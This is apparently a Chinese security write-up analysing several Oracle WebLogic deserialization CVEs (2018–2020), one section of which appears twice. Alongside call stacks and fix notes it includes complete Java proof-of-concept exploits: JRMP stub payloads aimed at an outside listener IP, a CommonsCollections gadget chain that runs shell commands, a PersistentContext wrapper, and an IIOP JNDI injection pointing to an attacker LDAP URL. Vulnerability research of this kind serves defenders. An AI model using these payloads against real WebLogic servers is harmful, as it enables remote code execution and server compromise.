                    try {                        while(true) {                            this.writeObject(var5.readObject());                        }                    } catch (EOFException var9) {                        try {                            this.reset();                            this.setPropertiesWritable(false);                            PayloadStream var7 = this.payload.copyPayloadWithoutSharedStream();                            this.payload = var7;                        } catch (JMSException var8) {                            JMSClientExceptionLogger.logStackTrace(var8);                        }                    } catch (MessageNotWriteableException var10) {                        JMSClientExceptionLogger.logStackTrace(var10);                    } catch (javax.jms.MessageFormatException var11) {                        JMSClientExceptionLogger.logStackTrace(var11);                    } catch (JMSException var12) {                        JMSClientExceptionLogger.logStackTrace(var12);                    }                    break;                case 3:                    if ((var2 & -128) != 0) {                        this.readExternalCompressedMessageBody(var1);                        break;                    }                case 2:                    this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);            }
        } else {            throw JMSUtilities.versionIOException(var3, 1, 3);        }    }
    public long getPayloadSize() {        if (this.isCompressed()) {            return (long)this.getCompressedMessageBodySize();        } else if (super.bodySize != -1L) {            return super.bodySize;        } else if (this.payload != null) {            return super.bodySize = (long)this.payload.getLength();        } else {            return this.bos != null ? (long)this.bos.size() : (super.bodySize = 0L);        }    }
    private String typeCodeToString(int var1) {        try {            return TYPE_CODE_STRINGS[var1];        } catch (Throwable var3) {            return TYPE_CODE_STRINGS[0];        }    }
    private void writeStringInternal(String var1) throws IOException, JMSException {        if (var1.length() > 20000) {            this.writeType((byte)10);            this.bos.writeUTF32(var1);        } else {            this.writeType((byte)9);            this.bos.writeUTF(var1);        }
    }
    private String readStringInternal(byte var1) throws IOException {        return var1 == 10 ? this.bis.readUTF32() : this.bis.readUTF();    }
    private long getLen() {        if (this.bos != null) {            return (long)this.bos.size();        } else {            return this.payload != null ? (long)this.payload.getLength() : 0L;        }    }
    public long getBodyLength() throws JMSException {        super.readMode();        return this.getLen();    }
    public byte[] getBodyBytes() throws JMSException {        Object var1;        if (this.payload != null) {            var1 = this.payload;        } else {            if (this.bos == null) {                return new byte[0];            }
            var1 = this.bos;        }
        try {            ByteArrayOutputStream var2 = new ByteArrayOutputStream();            ((Payload)var1).writeTo(var2);            var2.flush();            return var2.toByteArray();        } catch (IOException var3) {            throw new weblogic.jms.common.JMSException(var3);        }    }
    public PayloadStream getPayload() throws JMSException {        if (this.isCompressed()) {            try {                this.payload = (PayloadStream)this.decompress();            } catch (IOException var2) {                throw new weblogic.jms.common.JMSException(JMSClientExceptionLogger.logErrorDecompressMessageBodyLoggable().getMessage(), var2);            }        }
        return this.payload;    }
    public void setPayload(PayloadStream var1) {        if (this.payload == null && this.bis == null && this.bos == null && !this.copyOnWrite) {            try {                this.writeMode();            } catch (JMSException var3) {                throw new AssertionError(var3);            }
            this.payload = var1;        } else {            throw new AssertionError();        }    }
    public void setDataBuffer(byte[] object, int length) {    }}

CVE-2018-2893

此CVE主要通过JDK7u21与8u20的原生反序列化链绕过之前黑名单中禁用的Common-collections库，就不赘述了。

同时黑名单进行了更新：

private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server" }; private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager","java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler" };

新增

java.rmi.activation.*sun.rmi.server.*java.rmi.server.RemoteObjectInvocationHandlerjava.rmi.server.UnicastRemoteObject

CVE-2018-3245

上文中有提到新增黑名单包名/类名：java.rmi.activation.*,sun.rmi.server.*,java.rmi.server.RemoteObjectInvocationHandler,java.rmi.server.UnicastRemoteObject

但对我们完整的反序列化流程中真正有影响的只有java.rmi.server.RemoteObjectInvocationHandler类的使用，若有一个类满足：

1.不在黑名单中

2.继承自java.rmi.server.RemoteObject

3.readObject逻辑未重写，或不影响readExtenal方法调用

即可绕过黑名单检测。

随便找一个都行，比如RMIConnectionImpl_Stub

import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;import java.io.*;import java.rmi.server.ObjID;import java.util.Base64;import java.util.Random;
public class CVE_2018_3245 {    public static Object getObject() {        ObjID id = new ObjID(new Random().nextInt());        TCPEndpoint tcpEndpoint = new TCPEndpoint("10.51.52.245", 6666);        UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));        RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(unicastRef);        ReferenceWrapper_Stub object = new ReferenceWrapper_Stub(unicastRef);        return stub;    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {        ByteArrayOutputStream fout = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);        objectOutputStream.writeObject(getObject());        objectOutputStream.close();        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));
//        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(fout.toByteArray());//        ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);//        inputStream.readObject();
    }}

其他可利用类就不赘述了。

CVE-2018-2893

此CVE主要通过JDK7u21与8u20的原生反序列化链绕过之前黑名单中禁用的Common-collections库，就不赘述了。

同时黑名单进行了更新：

private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server" }; private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager","java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler" };

新增


java.rmi.activation.*sun.rmi.server.*java.rmi.server.RemoteObjectInvocationHandlerjava.rmi.server.UnicastRemoteObject

CVE-2018-3245

上文中有提到新增黑名单包名/类名：java.rmi.activation.*,sun.rmi.server.*,java.rmi.server.RemoteObjectInvocationHandler,java.rmi.server.UnicastRemoteObject

但对我们完整的反序列化流程中真正有影响的只有java.rmi.server.RemoteObjectInvocationHandler类的使用，若有一个类满足：

1.不在黑名单中

2.继承自java.rmi.server.RemoteObject

3.readObject逻辑未重写，或不影响readExtenal方法调用

即可绕过黑名单检测。

随便找一个都行，比如RMIConnectionImpl_Stub

import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;import java.io.*;import java.rmi.server.ObjID;import java.util.Base64;import java.util.Random;
public class CVE_2018_3245 {    public static Object getObject() {        ObjID id = new ObjID(new Random().nextInt());        TCPEndpoint tcpEndpoint = new TCPEndpoint("10.51.52.245", 6666);        UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));        RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(unicastRef);        ReferenceWrapper_Stub object = new ReferenceWrapper_Stub(unicastRef);        return stub;    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {        ByteArrayOutputStream fout = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);        objectOutputStream.writeObject(getObject());        objectOutputStream.close();        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));
//        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(fout.toByteArray());//        ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);//        inputStream.readObject();
    }}

其他可利用类就不赘述了。

CVE-2019-2890

Weblogic 10.3.6.0.0
Weblogic 12.1.3.0.0
Weblogic 12.2.1.3.0

问题出现在PersistentContext类上

在PersistentContext的readObject方法中会将ObjectInputStream类的var1对象传入readSubject方法

readSubject方法会先调用EncryptionUtil.decrypt()对传入的stream流进行解密，并将后续解密后的流量进行反序列化：

由于此处为ObjectInputStream原生的readObject()，并未有其他的readObject重写实现，故在后续过程中能够成功触发恶意反序列化利用链（下图为jrmp利用链执行结果）

调用栈如下

registerRefs:155, DGCClient (sun.rmi.transport)read:312, LiveRef (sun.rmi.transport)readExternal:493, UnicastRef (sun.rmi.server)readObject:455, RemoteObject (java.rmi.server)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:2122, ObjectInputStream (java.io)readOrdinaryObject:2013, ObjectInputStream (java.io)readObject0:1535, ObjectInputStream (java.io)defaultReadFields:2231, ObjectInputStream (java.io)readSerialData:2155, ObjectInputStream (java.io)readOrdinaryObject:2013, ObjectInputStream (java.io)readObject0:1535, ObjectInputStream (java.io)readObject:422, ObjectInputStream (java.io)readSubject:168, PersistentContext (weblogic.wsee.jaxws.persistence)readObject:147, PersistentContext (weblogic.wsee.jaxws.persistence)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:2122, ObjectInputStream (java.io)readOrdinaryObject:2013, ObjectInputStream (java.io)readObject0:1535, ObjectInputStream (java.io)readObject:422, ObjectInputStream (java.io)readObject:66, InboundMsgAbbrev (weblogic.rjvm)read:38, InboundMsgAbbrev (weblogic.rjvm)readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)init:213, MsgAbbrevInputStream (weblogic.rjvm)dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)readReadySocketOnce:967, SocketMuxer (weblogic.socket)readReadySocket:899, SocketMuxer (weblogic.socket)processSockets:130, PosixSocketMuxer (weblogic.socket)run:29, SocketReaderRequest (weblogic.socket)execute:42, SocketReaderRequest (weblogic.socket)execute:145, ExecuteThread (weblogic.kernel)run:117, ExecuteThread (weblogic.kernel)

该漏洞存在一定的利用条件，构造poc时需要目标服务器weblogic当前使用域下的SerializedSystemIni.dat文件，否则将无法构造PersistentContext类或是目标服务器decrypt失败：

docker cp weblogic1036jdk8u121:/u01/app/oracle/Domains/ExampleSilentWTDomain/security/SerializedSystemIni.dat ./

官方修复方案：

在PersistentContext类进行readSubject方法时新增WSFilteringObjectInputStream，其resolveClass方法仅允许Subject的子类进行后续反序列化操作：

POC：

import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import weblogic.kernel.KernelStatus;import weblogic.wsee.jaxws.persistence.PersistentContext;import weblogic.kernel.KernelStatus.*;
import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.Proxy;import java.rmi.registry.Registry;import java.rmi.server.ObjID;import java.rmi.server.RemoteObjectInvocationHandler;import java.util.Base64;import java.util.Random;
public class CVE_2019_2890  {    public static Registry getObject(String command) throws Exception {        int sep = command.indexOf(58);        String host;        int port;        if (sep < 0) {            port = (new Random()).nextInt(65535);            host = command;        } else {            host = command.substring(0, sep);            port = Integer.valueOf(command.substring(sep + 1));        }
        ObjID id = new ObjID((new Random()).nextInt());        TCPEndpoint te = new TCPEndpoint(host, port);        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);        Registry proxy = (Registry)Proxy.newProxyInstance(ysoserial.payloads.JRMPClient.class.getClassLoader(), new Class[]{Registry.class}, obj);        return proxy;    }    public static void main(String[] args) throws Exception {        System.setProperty("com.bea.core.internal.client","true");        PersistentContext pc = new PersistentContext(null,null,null,null,null, POC.getObject());        ByteArrayOutputStream fout = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);        objectOutputStream.writeObject(pc);        objectOutputStream.close();        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));    }}
//cc5 poc
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;
public class POC {    public static Object getObject() throws Exception {
        String enableUnsafeSerialization = System.getProperty("org.apache.commons.collections.enableUnsafeSerialization");        System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");//        String cmd = "touch /tmp/success123";        String cmd = "open -a Calculator.app";        Transformer[] tarray = new Transformer[]                {                        new ConstantTransformer(Runtime.class),                        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                        new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/bash", "-c", cmd}})                };        Transformer chainedTransformer = new ChainedTransformer(tarray);        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "a");        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);        setValue(badAttributeValueExpException, "val", tiedMapEntry);        return badAttributeValueExpException;    }    public static void main(String[] args) throws Exception {    }
    public static void setValue(Object obj, String name, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(name);        field.setAccessible(true);        field.set(obj, value);    }
}
//PersistentContextpackage weblogic.wsee.jaxws.persistence;
import com.sun.istack.NotNull;import com.sun.istack.Nullable;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.Serializable;import java.security.AccessController;import java.util.Map;import java.util.Set;import java.util.concurrent.locks.ReentrantReadWriteLock;import weblogic.kernel.KernelStatus;import weblogic.security.acl.internal.AuthenticatedSubject;import weblogic.security.service.PrivilegedActions;import weblogic.security.service.SecurityServiceManager;import weblogic.security.subject.SubjectManager;import weblogic.wsee.WseeCoreLogger;import weblogic.wsee.persistence.AbstractStorable;//import weblogic.wsee.server.EncryptionUtil;import weblogic.wsee.jaxws.persistence.EncryptionUtil;


public class PersistentContext extends AbstractStorable {    private static final long serialVersionUID = 1L;    private static final AuthenticatedSubject KERNEL_ID = (AuthenticatedSubject)AccessController.doPrivileged(PrivilegedActions.getKernelIdentityAction());    private transient ReentrantReadWriteLock _lock;    private Map _propertyMap;    private Set _propBagClassNames;    private Map _contextPropertyMap;    private Map _invocationPropertyMap;    private AuthenticatedSubject _subject;    private PersistentContext.State _state;    private Object evil;
    public static PersistentContextStore getStoreMap(String var0) {        try {            return PersistentContextStore.getStore(var0);        } catch (Exception var2) {            throw new RuntimeException(var2.toString(), var2);        }    }
    private static AuthenticatedSubject getCurrentSubject() {        AuthenticatedSubject var0 = SecurityServiceManager.getCurrentSubject(KERNEL_ID);        return var0;    }
    private void writeObject(ObjectOutputStream var1) throws IOException {        try {            this._lock.readLock().lock();            var1.writeObject(this._propertyMap);            var1.writeObject(this._propBagClassNames);            var1.writeObject(this._contextPropertyMap);            var1.writeObject(this._invocationPropertyMap);            var1.writeObject(this._state);            this.writeSubject(var1);        } finally {            this._lock.readLock().unlock();        }
    }
    private void writeSubject(ObjectOutputStream var1) throws IOException {        ByteArrayOutputStream var2 = new ByteArrayOutputStream();        ObjectOutputStream var3 = new ObjectOutputStream(var2);
        //if (SubjectManager.getSubjectManager().isKernelIdentity(this._subject)) {        //    AuthenticatedSubject var4 = (AuthenticatedSubject)SubjectManager.getSubjectManager().getAnonymousSubject();        //    var3.writeObject(var4);        //} else {        //    var3.writeObject(this._subject);        //}        try {            var3.writeObject(this.evil);        } catch (Exception e) {            e.printStackTrace();        }
        var3.flush();        byte[] var5 = var2.toByteArray();        //if (KernelStatus.isServer()) {        //    var5 = EncryptionUtil.encrypt(var5);        //}        //var5 = EncryptionUtil.encrypt(var5);
        var5 = EncryptionUtil.getEncryptionService().encryptBytes((byte []) var5);
        var1.writeInt(var5.length);        var1.write(var5);    }
    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {        this.initTransients();
        try {            this._lock.writeLock().lock();            this._propertyMap = (Map)var1.readObject();            this._propBagClassNames = (Set)var1.readObject();            this._contextPropertyMap = (Map)var1.readObject();            this._invocationPropertyMap = (Map)var1.readObject();            this._state = (PersistentContext.State)var1.readObject();            this.readSubject(var1);        } finally {            this._lock.writeLock().unlock();        }
    }
    protected void initTransients() {        this._lock = new ReentrantReadWriteLock(false);    }
    private void readSubject(ObjectInputStream var1) {        try {            int var2 = var1.readInt();            byte[] var3 = new byte[var2];            var1.readFully(var3);            if (KernelStatus.isServer()) {                var3 = EncryptionUtil.decrypt(var3);            }
            ByteArrayInputStream var4 = new ByteArrayInputStream(var3);            ObjectInputStream var5 = new ObjectInputStream(var4);            this._subject = (AuthenticatedSubject)var5.readObject();        } catch (Exception var6) {            WseeCoreLogger.logUnexpectedException("Couldn't completely read PersistentContext subject", var6);        }
    }
    public PersistentContext(@NotNull String var1, @NotNull Map var2, @NotNull Set var3, @Nullable Map var4, @NotNull Map var5,Object evil) {        super(var1);        this._propertyMap = var2;        this._propBagClassNames = var3;        this._contextPropertyMap = var4;        this._invocationPropertyMap = var5;        this._state = PersistentContext.State.UNUSED;        AuthenticatedSubject var6 = getCurrentSubject();        this.evil = evil;        //if (SecurityServiceManager.isKernelIdentity(var6)) {        //    throw new IllegalStateException("Attempt to create PersistentContext using kernel identity. All actions that can create PersistentContext must run as a user principal");        //} else {        //    this._subject = var6;        //    this.initTransients();        // }        this._subject = var6;        this.initTransients();    }
    @NotNull    public Map getPropertyMap() {        Map var1;        try {            this._lock.readLock().lock();            var1 = this._propertyMap;        } finally {            this._lock.readLock().unlock();        }
        return var1;    }
    @NotNull    public Set getPropertyBagClassNames() {        Set var1;        try {            this._lock.readLock().lock();            var1 = this._propBagClassNames;        } finally {            this._lock.readLock().unlock();        }
        return var1;    }
    @Nullable    public Map getContextPropertyMap() {        Map var1;        try {            this._lock.readLock().lock();            var1 = this._contextPropertyMap;        } finally {            this._lock.readLock().unlock();        }
        return var1;    }
    @NotNull    public Map getInvocationPropertyMap() {        Map var1;        try {            this._lock.readLock().lock();            var1 = this._invocationPropertyMap;        } finally {            this._lock.readLock().unlock();        }
        return var1;    }
    public PersistentContext.State getState() {        this._lock.readLock().lock();
        PersistentContext.State var1;        try {            var1 = this._state;        } finally {            this._lock.readLock().unlock();        }
        return var1;    }
    public void setState(PersistentContext.State var1) {        this._lock.writeLock().lock();
        try {            this._state = var1;        } finally {            this._lock.writeLock().unlock();        }
    }
    @NotNull    public String getSubjectAsString() {        String var1;        try {            this._lock.readLock().lock();            var1 = this._subject.toString();        } finally {            this._lock.readLock().unlock();        }
        return var1;    }
    AuthenticatedSubject getSubject(AuthenticatedSubject var1) {        if (!SecurityServiceManager.isKernelIdentity(var1)) {            throw new SecurityException("Unauthorized access to PersistentContext.getSubject()");        } else {            AuthenticatedSubject var2;            try {                this._lock.readLock().lock();                var2 = this._subject;            } finally {                this._lock.readLock().unlock();            }
            return var2;        }    }
    public String getMessageId() {        String var1;        try {            this._lock.readLock().lock();            var1 = (String)this.getObjectId();        } finally {            this._lock.readLock().unlock();        }
        return var1;    }
    public boolean hasExplicitExpiration() {        this._lock.readLock().lock();
        boolean var1;        try {            var1 = this._state == PersistentContext.State.IN_USE;        } finally {            this._lock.readLock().unlock();        }
        return var1;    }
    public boolean isExpired() {        this._lock.readLock().lock();
        boolean var1;        try {            var1 = this._state != PersistentContext.State.IN_USE;        } finally {            this._lock.readLock().unlock();        }
        return var1;    }
    public static enum State {        UNUSED,        IN_USE,        OBSOLETE;
        private State() {        }    }
}
//EncryptionUtil
package weblogic.wsee.jaxws.persistence;
import java.security.AccessController;import weblogic.kernel.Kernel;import weblogic.security.acl.internal.AuthenticatedSubject;import weblogic.security.internal.SerializedSystemIni;import weblogic.security.internal.encryption.EncryptionService;import weblogic.security.service.PrivilegedActions;import weblogic.security.service.SecurityServiceManager;
public final class EncryptionUtil {    private static final AuthenticatedSubject kernelID = (AuthenticatedSubject)AccessController.doPrivileged(PrivilegedActions.getKernelIdentityAction());    private static EncryptionService es = null;
    public EncryptionUtil() {    }
    public static byte[] encrypt(byte[] var0) {        return Kernel.isServer() ? getEncryptionService().encryptBytes(var0) : var0;    }
    public static byte[] decrypt(byte[] var0) {        if (Kernel.isServer()) {            SecurityServiceManager.checkKernelIdentity(kernelID);            return getEncryptionService().decryptBytes(var0);        } else {            return var0;        }    }
    public static final EncryptionService getEncryptionService() {        if (es == null) {            es = SerializedSystemIni.getExistingEncryptionService();        }
        return es;    }}

CVE-2020-2551

影响范围：

Weblogic 10.3.6.0.0
Weblogic 12.1.3.0.0
Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0

漏洞分析

先看Weblogic对IIOP协议的处理逻辑。

weblogic有一个dispatch方法，专门用于处理不同协议请求：

由MuxableSocketDiscriminator负责具体分发至相应的MuxableSocket类（这里是MuxableSocketIIOP，后续所使用的类都是在weblogic.iiop下的具体实现）

再交由对应的ConnectionManager处理：

通过调用ConnectionManager.dispatch，进入到EndPointlmpl中：

由processMessage处理：

final void processMessage(Message var1) throws IOException {    switch (var1.getMsgType()) {        case 0:            this.handleIncomingRequest(var1);            return;        case 1:            if (this.negotiatedRequestId >= 0) {                synchronized(this.bootstrapLock) {                    if (this.negotiatedRequestId >= 0 && this.negotiatedRequestId == var1.getRequestID()) {                        this.setFlag(this.bootstrapFlags);                        this.negotiatedRequestId = -1;                    }                }            }
            this.handleIncomingResponse(var1);            return;        case 2:            return;        case 3:            this.handleLocateRequest(var1);            return;        case 4:            this.handleLocateReply(var1);            return;        case 5:            this.handleCloseConnection(var1);            return;        case 6:            if (Kernel.getDebug().getDebugIIOP()) {                this.p("handling message error");            }
            this.handleMessageError(var1);            return;        case 7:            this.processFragment(var1);            return;        default:            if (Kernel.getDebug().getDebugIIOP()) {                this.p("handling unknown message");            }
            this.gotExceptionReceiving(Utils.mapToCORBAException(new UnmarshalException("Unkown message type: " + var1.getMsgType())));    }}

最终给到BasicServerRef，在其dispatch方法中，新起一个ExecuteRequest线程用于处理对应的request

IIOP协议部分的处理逻辑大概如上述。

后续request处理部分，从BasicServerRef.invoke开始：

在_NamingContextAnyImplBase中，调用bind_any()之前将会先执行read_any()方法：

跟进之后发现其实也就是IIOPInputStream的readObject方法：

中间的调用过程很长，最终会调用到JtaTransactionManager的readObject方法：

最终通过：initUserTransactionAndTransactionManager()->initUserTransactionAndTransactionManager()->lookupUserTransaction()->getJndiTemplate.lookup()->ctx.lookup()触发JNDI：

调用栈如下

lookup:417, InitialContext (javax.naming)doInContext:132, JndiTemplate$1 (com.bea.core.repackaged.springframework.jndi)execute:88, JndiTemplate (com.bea.core.repackaged.springframework.jndi)lookup:130, JndiTemplate (com.bea.core.repackaged.springframework.jndi)lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)readObject:314, ObjectStreamClass (weblogic.utils.io)readValueData:281, ValueHandlerImpl (weblogic.corba.utils)readValue:93, ValueHandlerImpl (weblogic.corba.utils)read_value:2128, IIOPInputStream (weblogic.iiop)read_value:1936, IIOPInputStream (weblogic.iiop)read_abstract_interface:2271, IIOPInputStream (weblogic.iiop)readObject:2752, IIOPInputStream (weblogic.iiop)readObjectOverride:164, ObjectInputStreamImpl (weblogic.iiop)readObject:416, ObjectInputStream (java.io)readObject:1404, HashMap (java.util)invoke:-1, GeneratedMethodAccessor2 (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)readObject:314, ObjectStreamClass (weblogic.utils.io)readValueData:281, ValueHandlerImpl (weblogic.corba.utils)readValue:93, ValueHandlerImpl (weblogic.corba.utils)read_value:2128, IIOPInputStream (weblogic.iiop)readObject:2788, IIOPInputStream (weblogic.iiop)read:326, ObjectInputStreamImpl$GetFieldImpl (weblogic.iiop)access$800:242, ObjectInputStreamImpl$GetFieldImpl (weblogic.iiop)readFields:195, ObjectInputStreamImpl (weblogic.iiop)readObject:429, AnnotationInvocationHandler (sun.reflect.annotation)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)readObject:314, ObjectStreamClass (weblogic.utils.io)readValueData:281, ValueHandlerImpl (weblogic.corba.utils)readValue:93, ValueHandlerImpl (weblogic.corba.utils)read_value:2128, IIOPInputStream (weblogic.iiop)read_abstract_interface:2279, IIOPInputStream (weblogic.iiop)readObject:2785, IIOPInputStream (weblogic.iiop)readFields:460, ObjectStreamClass (weblogic.utils.io)readValueData:294, ValueHandlerImpl (weblogic.corba.utils)readValue:93, ValueHandlerImpl (weblogic.corba.utils)read_value:2128, IIOPInputStream (weblogic.iiop)read_value:1936, IIOPInputStream (weblogic.iiop)read_value_internal:220, AnyImpl (weblogic.corba.idl)read_value:115, AnyImpl (weblogic.corba.idl)read_any:1648, IIOPInputStream (weblogic.iiop)read_any:1641, IIOPInputStream (weblogic.iiop)_invoke:58, _NamingContextAnyImplBase (weblogic.corba.cos.naming)invoke:249, CorbaServerRef (weblogic.corba.idl)invoke:230, ClusterableServerRef (weblogic.rmi.cluster)run:522, BasicServerRef$1 (weblogic.rmi.internal)doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)runAs:146, SecurityManager (weblogic.security.service)handleRequest:518, BasicServerRef (weblogic.rmi.internal)run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)execute:256, ExecuteThread (weblogic.work)run:221, ExecuteThread (weblogic.work)

POC：

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import javax.naming.Context;import javax.naming.InitialContext;import java.lang.reflect.Field;import java.rmi.Remote;import java.util.Hashtable;
import static ysoserial.payloads.util.Gadgets.createMap;import static ysoserial.payloads.util.Gadgets.createMemoitizedProxy;
public class CVE_2020_2551 {

    public static void main(String[] args) throws Exception {        String ip = "127.0.0.1";        String port = "7001";        String rmiurl = "ldap://192.168.0.103/cVLtcNoHML/Plain/Exec/eyJjbWQiOiJ0b3VjaCAvdG1wL3N1Y2Nlc3MxMjMifQ==";        String rhost = String.format("iiop://%s:%s", ip, port);
        Hashtable<String, String> env = new Hashtable<String, String>();        // add wlsserver/server/lib/weblogic.jar to classpath,else will error.        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");        env.put(Context.PROVIDER_URL, rhost);        Context context = new InitialContext(env);        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();        jtaTransactionManager.setUserTransactionName(rmiurl);        Remote remote = createMemoitizedProxy(createMap("pwned"+System.nanoTime(), jtaTransactionManager), Remote.class);
        context.bind("test3", remote);        context.lookup("test3");    }}

CVE-2020-14644

Weblogic 10.3.6.0.0
Weblogic 12.1.3.0.0
Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0

漏洞分析

主要问题出现在com.tangosol.internal.util.invoke.RemoteConstructor上：

RemoteConstructor.readResolve -> RemoteConstructor.newInstance -> RemotableSupport.realize

RemotableSupport.realize中存在两个方法调用：

分别为重载后的defineClass方法：

与实例化方法：

defineClass的值来自于definition

getName()的逻辑如下：

public String getName() {    return this.getPackage() + "/" + this.getSimpleName();}
public String getSimpleName() {    return this.getBaseName() + "$" + this.getVersion();}

在defineClass时我们的classname需要与传入的字节码保持一致。

常规的IIOP调用流程，通过反射调用到com.tangosol.internal.util.invoke.RemoteConstructor的readResolve方法：

com.tangosol.internal.util.invoke.RemoteConstructor.readResolve()->newInstance()->realize()

其中registerIfAbsent会根据Id检查是否有已经缓存过的ClassDefinition对象，若存在则不会重新进行defineClass操作：

接下来就是上文中分析过的defineClass与createInstance流程：

调用栈：

